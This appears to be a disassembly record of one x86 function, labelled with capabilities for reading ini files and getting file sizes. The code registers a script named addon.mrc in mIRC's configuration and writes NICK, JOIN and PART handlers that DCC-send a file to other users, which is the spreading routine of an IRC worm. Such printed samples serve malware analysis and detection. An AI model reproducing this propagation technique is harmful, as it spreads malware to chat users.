Function at 0x4036fb
Capabilities:
Get file size
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [ebp + 8]
push esi
push edi
xor edi, edi
push edi
push edi
lea esi, [ebp - 0x2c]
call fcn.0040195a
cmp eax, 0xffffffff
jne 0x40371e
xor eax, eax
jmp 0x40394e
push ebx
push edi
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ebx, 0x104
push ebx
push 0x40
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
call fcn.00402ee0
push esi
mov dword [ebp - 0x1c], eax
call fcn.00402e9b
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
call fcn.00402d1c
push dword [ebp - 0x20]
mov dword [ebp - 0x24], edi
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x14], eax
call fcn.004019b6
mov esi, edi
call fcn.00401af4
push dword [ebp - 0x1c]
push str._s_addon.mrc
push dword [ebp - 0xc]
call fcn.004057f4
mov edi, dword [sym.imp.KERNEL32.DLL_GlobalFree]
add esp, 0xc
and dword [ebp - 8], 0
mov byte [ebp - 1], 0
mov esi, dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push ebx
push 0x40
call esi
push ebx
push 0x40
mov dword [ebp - 0x18], eax
call esi
push dword [ebp - 8]
mov dword [ebp - 0x10], eax
push 0x406c54
push dword [ebp - 0x18]
call fcn.004057f4
add esp, 0xc
push dword [ebp + 8]
push ebx
push dword [ebp - 0x10]
push 0x406aaa
push dword [ebp - 0x18]
push str.rfiles
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
jne 0x4037e7
mov byte [ebp - 1], 1
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
je 0x403809
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x18]
call edi
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xa
jle 0x403790
jmp 0x40380f
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
cmp byte [ebp - 1], 0
jne 0x403936
push ebx
push 0x40
call esi
push dword [ebp - 0x18]
mov esi, eax
push 0x406c54
push esi
call fcn.004057f4
add esp, 0xc
push dword [ebp + 8]
push dword [ebp - 0xc]
push esi
push str.rfiles
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
mov eax, dword [ebp - 0xc]
push 1
xor ebx, ebx
push ebx
lea esi, [ebp - 0x2c]
call fcn.0040195a
cmp eax, 0xffffffff
je 0x40392f
push 2
push ebx
push ebx
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push str.on_:NICK::
mov eax, esi
push eax
call fcn.00401a50
push str._if____newnick___me____halt_
mov eax, esi
push eax
call fcn.00401a50
push str._.dcc_send__newnick
mov eax, esi
push eax
call fcn.00401a11
push dword [ebp - 0x14]
mov eax, esi
push eax
call fcn.00401a50
mov esi, 0x406bfc
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a50
push str.on_:JOIN::
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a50
push str._if____nick___me____halt_
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a50
mov ebx, str._.dcc_send__nick
push ebx
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a11
push dword [ebp - 0x14]
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a50
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a50
push str.on_:PART::
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a50
push str._if____nick___me____halt_
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a50
push ebx
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a11
push dword [ebp - 0x14]
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a50
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a50
lea esi, [ebp - 0x2c]
call fcn.00401af4
mov dword [ebp - 0x24], 1
push dword [ebp - 0x14]
call edi
push dword [ebp - 0xc]
call edi
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x20]
call edi
mov eax, dword [ebp - 0x24]
pop ebx
pop edi
pop esi
leave
ret 4